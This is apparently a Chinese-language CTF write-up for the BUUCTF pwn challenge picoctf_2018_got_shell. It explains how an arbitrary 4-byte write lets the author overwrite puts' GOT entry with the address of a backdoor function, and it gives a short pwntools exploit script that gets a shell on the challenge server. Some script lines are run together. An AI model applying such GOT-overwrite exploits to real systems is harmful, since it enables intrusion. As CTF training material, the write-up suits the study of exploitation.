[BUUCTF-pwn]——picoctf_2018_got_shell
[BUUCTF-pwn]——picoctf_2018_got_shell
- 题目地址:https://buuoj.cn/challenges#picoctf_2018_got_shell
- 题目:

还是先checksec查看一下,32位程序。

IDA中看看,竟然有后门函数win。



思路
程序中没有栈溢出,也没有格式化字符串漏洞和堆漏洞。
那么我们就可以考虑一下逻辑的漏洞
我们看到v3是一个指针,我们可以向里面写地址(%x是以十六进制读入),然后我们也可以向v4里面写入地址。并且我们可以看到*v3 = v4这个操作。意味着我们可以将我们第二次输入的地址,写入第一次输入的地址中。
是不是想到了什么。.got表
我们看到该语句下面还有puts函数执行,那么我们就可以将v3写成puts got表的地址,将v4写成win函数的地址。这样就可以在调用puts函数时,实际调用 win函数了
exploit
from pwn import *
p=remote('node3.buuoj.cn',25901)elf=ELF('./PicoCTF_2018_got-shell ')
puts_got=elf.got['puts']
win_addr=0x0804854Bp.sendlineafter("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?", hex(puts_got))p.recv()
p.sendline(hex(win_addr))p.interactive()
原创不易,希望可以打赏支持一下。
感谢各位金主爸爸了 😉
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
